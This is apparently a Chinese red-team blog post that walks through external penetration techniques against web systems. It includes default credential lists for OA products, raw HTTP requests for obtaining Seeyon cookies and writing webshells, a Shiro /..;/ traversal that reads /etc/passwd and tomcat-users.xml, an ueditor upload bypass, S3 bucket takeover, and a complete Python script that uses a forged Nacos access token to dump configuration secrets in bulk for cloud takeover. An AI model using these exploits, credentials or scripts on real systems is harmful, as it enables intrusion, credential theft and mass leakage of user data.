外网打点实战

红队外网打点实战案例分享

从最基础的登录框突破

登录框作为 hw 出现场次最多的角色,也是最容易出洞的,下面介绍一些自己常用的测试方法

登录爆破小技巧

外网打点实战

像这种系统的爆破我们有两种解决方法:

  • 分析前端加密算法,写脚本模拟对密码进行加密
  • 固定密码为 123456 000000 使用常见的用户名作为字典进行爆破

两种方法各有优劣,我更倾向于第二种,在比赛打点效率会更高,分析加密算法更适用于红队检测项目

外网打点实战

使用爆破的账号密码登入后台,便可以继续寻找后台上传点

看到图片类型这里限制上传的文件格式

外网打点实战

直接添加 aspx 文件格式类型

外网打点实战

成功 getshell

外网打点实战

修改返回数据包参数进入后台

有些时候网站登录状态是根据前端判断的,这时候我们就可以直接修改返回包进行绕过

外网打点实战

前端判断登录逻辑根据返回包的 ret 值决定,当返回值为 1 则成功登录

外网打点实战

成功进入后台

外网打点实战

插件探测常见 sql 注入和 log4j 漏洞

sql 注入插件推荐 https://github.com/smxiazi/xia_sql

基本原理是通过发送多个数据包,根据返回数据长度判断是否存在注入

外网打点实战

除了被动扫描以外,我们还可以通过手动添加单引号、双引号去查看返回包,若存在类似报错则可能存在 sql 注入

外网打点实战
外网打点实战

sqlmap 一把梭

外网打点实战

log4j 插件推荐 https://github.com/TheKingOfDuck/burpFakeIP

通过 burp 插件 fuzz 数据包的 header 头

外网打点实战

成功探测出登录框的 log4j 漏洞

但要注意的的是很多 dnslog 平台已被防火墙标黑,因此推荐使用 ceye 或者自搭建 dnslog 平台

外网打点实战

系统默认口令 + 后台 1day 漏洞利用

随着攻防比赛愈发频繁,公网能直接利用的前台漏洞越来越少,大多数都被批量扫描修复过了,但我们可以利用系统的默认口令结合 1day 进行利用

如若依存在默认口令 admin/admin123

外网打点实战

进入后台就可以通过计划任务或反序列化执行命令

外网打点实战

很多时候我们碰到 OA 系统,拿 OA 漏洞检测工具扫一下没漏洞就放弃了,其实像这种 OA 系统还可能会存在默认口令的问题

#默认口令
系统管理员:system/system
集团管理员(A8-v5集团版) group-admin/123456
单位管理员(A8-V5企业版) admin1/admin123456
审计管理员(所有版本) audit-admin/seeyon123456

外网打点实战

前台使用账号密码有时候不能登录,可发送下面数据包获取 cookie

POST /seeyon/rest/authentication/ucpcLogin HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 71
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

UserAgentFrom=xx&login_username=audit-admin&login_password=seeyon123456

获取 cookie 之后就可以使用补丁较新的后台洞进行深入利用,这次使用 copyfile 这个后台洞

但实战后发现这个漏洞存在一些坑点,写入 webshell 时候报错了

POST /seeyon/ajax.do?method=ajaxAction&managerName=portalCssManager&rnd=111 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 70
Host: 192.168.91.17
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_321)
Accept-Encoding: gzip,deflate

arguments=%5B%22xxxxxx%22%5D&managerMethod=generateCssFileByCssStr
外网打点实战

本地开环境调试一下,fuzz 发现是双引号所导致,可通过前面加  解决,还有其他的问题总结如下:

  • 写 seeyon 路径下会 404,可以换写到 root 目录下
  • webshell 的双引号需要前面加入反斜杠,即 换成 "
  • 复制的文件名不能与之前的相同,否则会复制失败
  • // 后需要进行换行

经过一首歌的时间,最终成功 getshell

外网打点实战

同样,X 微 OA 的默认账号密码有 sysadmin/1 sysadmin/Weaver@2001 等等

外网打点实战

差点擦肩而过的 shiro 漏洞

被动扫描识别 shiro 指纹

使用 afrogWappalyzer 等指纹识别器有时候无法直接识别 shiro 框架

外网打点实战

抓包使用 hae 插件被动扫描识别网站特征

https://github.com/gh0stkey/HaE

外网打点实战

WAF 拦截绕过

使用工具检测到 key,但利用链爆破时候被拦截了,访问网站发现被拦截了

外网打点实战

换个 ip 继续冲,工具直接打不行,准备改用 burp 手动发包,但是问题又来了,挂着 burp 网站直接无法访问了

改用 yakit 能正常发包,猜测可能是 burp 特征被识别了,这时候想到最近看的 github 项目,决定尝试一下

https://github.com/sleeyax/burp-awesome-tls

未使用插件前,burp 指纹特征被识别,抓包被拦截

外网打点实战

使用插件后正常抓包

外网打点实战

最终通过 OPTIONS 请求方式 + 静态资源 uri 路径 + 缩短 payload 长度成功绕过 WAF

缩短 payload 长度可使用 4raIn 师傅的项目 https://github.com/antiRookit/ShortPayload

成功 getshell

外网打点实战

Yso 重编译拿下某企业 shiro 系统

某个目标资产搜集到一个 shiro 框架系统,通过工具探测到存在默认密钥 kPH+bIxk5D2deZiIxcaaaA==

外网打点实战

可能原因:Yso 自带的 CB 链版本和目标环境 CB 链版本不一致

外网打点实战

用 1.8.3 重新进行编译

image-20231201155359541

使用新的 yso 成功执行命令,另外防止其他队伍从目标得分还可以修改 shiro 默认 key

外网打点实战

JS 源代码抽丝剥茧从单点到逐个击破

fuzz 未授权 webpack 接口

右键源代码 —— 查看检索 js—— 在后面添加.map

curl -O http://xx.xx.xx.xx/*.js.map

外网打点实战

之后会下载一个 js.map,使用 reverse-sourcemap 进行还原

npm install --global reverse-sourcemap
reverse-sourcemap --output-dir 生成的目录 app.6804b239.js.map

可寻找各种未授权的接口进行进一步的利用

外网打点实战

使用脚本提取路径,提取后的结果可作为字典放到 burp 进行 fuzz

外网打点实战

ueditor 编辑器漏洞捡漏

查看源码,发现使用了 ueditor 组件

外网打点实战

或者全局进行检索 ueditor,发现 ueditor 路径

外网打点实战

构建表单上传 1.jpg?.aspx

invalidPattern.Replace 处通过正则替换后成为 1.jpg.aspx,后经过 GetExtension() 得到扩展名 aspx 最后返回处理后的木马路径

外网打点实战

亚马逊 S3 存储桶接管

在 js 里翻找,发现网站背景图片来源于 s3 存储桶地址

外网打点实战

访问该地址发现为 NoSuchBucket ,表示可以接管

外网打点实战

亚马逊云注册相应的存储桶,填入相应的名称和区域即可,接管后再次访问会变为 UnauthorizedAccess

外网打点实战

从任意文件读取到部署 war 包 getshell

外网打点实战

框架识别

根据返回的 rememberme 判断为 shiro 框架

外网打点实战

直接拿工具打一波发现找不到密钥,正常正常,毕竟现在公网的 shiro 经过多轮 hw 基本也绝迹了

外网打点实战

挖掘注释接口

问题不大,尝试从系统其他方面入手,从 js 里全局搜索 download upload 这些字段,可能存在任意文件上传或读取漏洞

通常开发人员为了省事,可能会直接把前端功能代码注释掉,而不把相应后端接口删除,这时候就会给我们留下可乘之机

像这里我们通过检索 download,发现一个被注释的下载接口,拼接路径尝试进行任意文件读取

外网打点实战

shiro 权限绕过

拼接路径后访问发现会重定向到首页,这时候开始怀疑漏洞是否存在,但转念一想可能是权限问题

这时候想到 shiro 框架有个容易被忽略的点,那就是权限绕过

shiro 权限绕过分析 https://xz.aliyun.com/t/12643

直接拼接会重定向到首页
resources/js/xxxxxx/downloadFile?url=/../../../../etc/passwd

/..;/可绕过
resources/js/xxxxxx/..;/../../downloadFile?url=/../../../../etc/passwd

通过 /..;/ 成功读取主机文件

外网打点实战

能读取文件那肯定是不够的,我们目标是 getshell,尝试读数据库密码,但扫描端口发现未对外开放

这时候查看扫描结果发现 8080 端口是开放的,直接读取 /conf/tomcat-users.xml 文件,获取 tomcat 的密码

外网打点实战

使用获取的账号密码登录,部署 war 包成功 getshell

外网打点实战
外网打点实战

从旁站获取源码到任意文件上传

提取网站特征

  • 查看网站特定 js、开发厂商信息,如 技术支持XXXX XXX公司
  • 通过 fofa、hunter 测绘平台寻找旁站
外网打点实战

旁站备份文件扫描

导出同 cms 站点列表,扫描旁站备份文件

外网打点实战

云盘搜索泄露源码

我只能说,凌风云是个好东西

外网打点实战

代码审计

  • 获取源码后我们优先挖掘任意文件上传这类能 getshell 的漏洞
  • 查看 web.xml 搜索.SaveAs upload 查找可利用的点,像下面这个代码,我们通过检索发现两处疑似上传的接口
外网打点实战

跟进 PreviewImageUploadServlet.class

外网打点实战

定义保存文件的路径,默认为 /img/faces,如果请求中包含名为 path 的参数,则将保存路径设置为该参数的值

创建一个 MultipartRequestParser 实例,用于解析请求,并将结果存储在 PreviewImageInfo 对象中

PreviewImageInfo info = (PreviewImageInfo)parser.parse(request, "com.chinasofti.ordersys.servlets.common.PreviewImageInfo");

跟进 PreviewImageInfo.class ,没有进行过滤,因此我们可以构建表单直接上传

外网打点实战
外网打点实战

某访客系统从 actuator 到百万数据泄露

查看 burp 历史记录发现系统会向后端请求 /gateway 接⼝

外网打点实战

拼接路径进行目录扫描发现⼀堆 actuator 端点,使用最近新出的几个漏洞均没打成功

外网打点实战

heapdump 泄露

尝试从其他地方入手,发现存在 heapdump 泄露,使用工具查看泄露了些什么内容

https://github.com/whwlsfb/JDumpSpider

发现一些账号密码,但都是在内网无法直接利用

外网打点实战

续从中寻找机会,把里面的接口和 url 拼接路径到 Burp 批量跑⼀下,这时候发现一个可以的注册接口,感觉有戏!

外网打点实战

创建用户获取 token 凭证

使用该接口创建用户

外网打点实战

但创建后的用户不能直接登录到系统,但可以通过新增的账密获取 token 凭证

外网打点实战

可结合接口文档使用 token 凭证调用接口查询,获取大量用户敏感数据

外网打点实战

从 nacos 任意用户注册到接管企业云

HVV 中最爱的 nacos,全身上下都是价值连城的宝贝,关键是好找!

指纹特征 HTTP Status 404 – Not Found 以及 8848端口

外网打点实战

直接访问 404,拼接 nacos 路径可以看到目标系统

外网打点实战

漏洞检测

探测漏洞可使用下面脚本

https://github.com/Pizz33/nacos_vul

外网打点实战

nacos 任意用户注册,关键在于登入后台查看配置文件里的账密信息

外网打点实战
外网打点实战

导出配置文件

但手动一个个查看配置文件很麻烦,可以使用脚本一键导出

import argparse
import requests
import json
import re
import urllib3
from concurrent.futures import ThreadPoolExecutor
import logging
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36'
}

def get_namespace(url, proxies):
    url1 = url + 'v1/console/namespaces?search=accurate&dataId=&group=&pageNo=1&pageSize=100&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTk3ODk4ODUzMH0.ZaS9-mLaHjHSNU_Pkct_H-hgmtB3qCkFEGqkr47PH2c'
    response = requests.get(url1, proxies=proxies, verify=False, headers=headers, timeout=3)
    data = json.loads(response.text)
    namespaces = [item['namespace'] for item in data['data']]
    if namespaces:
        with open('success.txt', 'a') as f:
            f.write(f"{url}n")
    return namespaces

def process_url(url, proxies):
    print(f"Processing URL: {url}")
    try:
        namespaces = get_namespace(url, proxies)
        print(f"Namespaces: {namespaces}")

        for namespace in namespaces:
            new_url = url + 'v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=100&tenant=' + namespace + '&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTk3ODk4ODUzMH0.ZaS9-mLaHjHSNU_Pkct_H-hgmtB3qCkFEGqkr47PH2c'
            print(f"Accessing URL: {new_url}")
            response = requests.get(new_url, proxies=proxies, verify=False, headers=headers, timeout=5)
            #print(response.text)

            text = response.text.replace('rn', 'n').replace('n', 'n')

            file_name = re.sub(r'W+', '_', url) + '.yaml'
            with open(file_name, 'a') as f:
                f.write(text + 'n')
    except Exception as e:
        print(f"An error occurred while processing URL {url}: {e}")

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="格式为http://xx.xx.xx.xx/nacos/")
    parser.add_argument("-p", "--proxy", help="the proxy to be used")
    parser.add_argument("-f", "--file", help="the file containing URLs to be processed")
    parser.add_argument("-t", "--threads", type=int, help="the number of threads to be used", default=5)
    args = parser.parse_args()

    proxies = {
      "http": args.proxy,
      "https": args.proxy,
    }

    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        if args.file:
            with open(args.file, 'r') as f:
                for line in f:
                    url = line.strip()
                    executor.submit(process_url, url, proxies)
        elif args.url:
            process_url(args.url, proxies)
        else:
            print("Please provide a URL or a file containing URLs.")


if __name__ == "__main__":
    main()

获取 accesskeyid 和 accesskeysecrets 后可使用工具接管云

推荐工具

https://github.com/teamssix/cf/releases

https://github.com/xsxtw/lc

https://github.com/mrknow001/aliyun-accesskey-Tools/releases/tag/v1.3

外网打点实战
外网打点实战

获取到云数据库的账密,直接 navicat 连接

外网打点实战
外网打点实战

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容